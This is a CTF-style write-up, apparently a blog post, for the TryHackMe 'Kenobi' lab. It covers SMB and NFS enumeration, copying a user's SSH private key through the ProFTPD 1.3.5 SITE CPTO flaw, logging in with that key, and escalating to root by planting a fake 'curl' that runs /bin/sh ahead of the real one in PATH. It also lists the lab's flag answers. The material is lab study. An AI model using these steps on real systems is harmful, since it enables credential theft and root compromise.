Kenobi [THM — writeup]

Question 1 :

open Your Vpn in kali linux .

using nmap command for open ports

nmap — open <MACHINE IP>

Here we can see the open ports .

ANSWER: 7

Enumerating Samba for shares

using command Given
“nmap -p 445 — script=smb-enum-shares.nse,smb-enum-users.nse 10.10.250.110”

we can see we got 3 shares

ANSWER: 3

using Command “smbclient //10.10.250.110/anonymous”

When it ask for a password Just enter.(Although its a bad practice leaving no password on the machine)

as we can see the answer is the txt file

ANSWER:log.txt

using the first nmap -open command we know ftp is on 21 port

ANSWER: 21

as we cant open log.txt so we will download it to our working machine
usually it downloads in root directory

now opening it we got

now THM is giving us a Hint for port 111 with RPC
USing “nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.250.110”
WE got

ANSWER: /var

TASK 3 Gain initial access with ProFtpd

NOW we know FTP port is 21 so using simple nc with machine

hence
ANSWER: 1.3.5

NOW, using searchsploit proFTPd

ANSWER: 4

Here, the txt file seems something easy to have a look lets give a try
using: searchsploit -m <PATH>

In the log.txt it is mentioned where the user’s id_rsa key is located:

Get Half blood prince’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

“Your identification has been saved in /home/kenobi/.ssh/id_rsa”

Based on the exploit we found earlier: “File copy — 36742.txt”

reviously we enumerated port 111, and found out that we could see the /var directory.

Next, we will set the destination file

using the command: SITE CPTO /home/kenobi/.ssh/id_rsa

Next, we will set the destination file using the commands:

SITE CPTO /var/tmp/id_rsa

Currenty “/var/tmp” is our attacking Machine Directory

So

using Commands which are given

we copied the id_rsa

Using chmod 600 on the copied

then connecting ssh
Command: ssh -i <file name> kenobi@<MACHINE IP>

ANSWER: d0b0f3f53b6caa532a83915e19224899

Task 4Privilege Escalation with Path Variable Manipulation

THM tells us to look for one that looks not ordinary. That would be “/usr/bin/menu”as it does not look like a command that an admin would be familiar with.

ANSWER: /usr/bin/menu

ANSWER: 3 (options)

THM is suggesting using Strings Command to find readable text
SO..

we will create create a file named curl having /bin/sh

Changing its permission to 777
by chmod 777 <file name>

I added this path to PATH variable on the first position and now theoretically when choosing option number 1 (the one that calls curl command) we should get shell with root permissions.

ANSWER: 177b3cd8562289f37382721c28381f02

END